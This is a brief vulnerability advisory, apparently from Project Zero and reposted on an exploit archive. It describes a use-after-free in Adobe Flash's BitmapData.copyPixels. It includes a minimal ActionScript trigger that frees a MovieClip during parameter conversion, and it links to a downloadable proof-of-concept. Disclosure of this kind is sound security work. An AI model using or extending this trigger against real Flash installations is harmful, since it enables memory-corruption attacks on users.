Adobe Flash - BitmapData.copyPixels Use-After-Free

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=843
 
There is a use-after-free in BitmapData.copyPixels. If the method is called on a MovieClip, and the MovieClip is deleted during parameter conversions, it is used to convert future parameters, even though it has already been freed. A minimal proof-of-concept follows:
 
var mc = this.createEmptyMovieClip( "mc", 1);
var b = new flash.display.BitmapData(10, 10, true, 7);
var f = b.copyPixels;
mc.f = f;
mc.f( {}, { x : { valueOf : func}, y : 0, width : 10, height : 10 }, { x : 0, y :0 }, "natalie", { x : 0, y : 0});
 
 
function func(){
 
    mc.removeMovieClip();
     
    // Fix the heap 
     
    }
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40310.zip

#  0day.today [2018-01-09]  #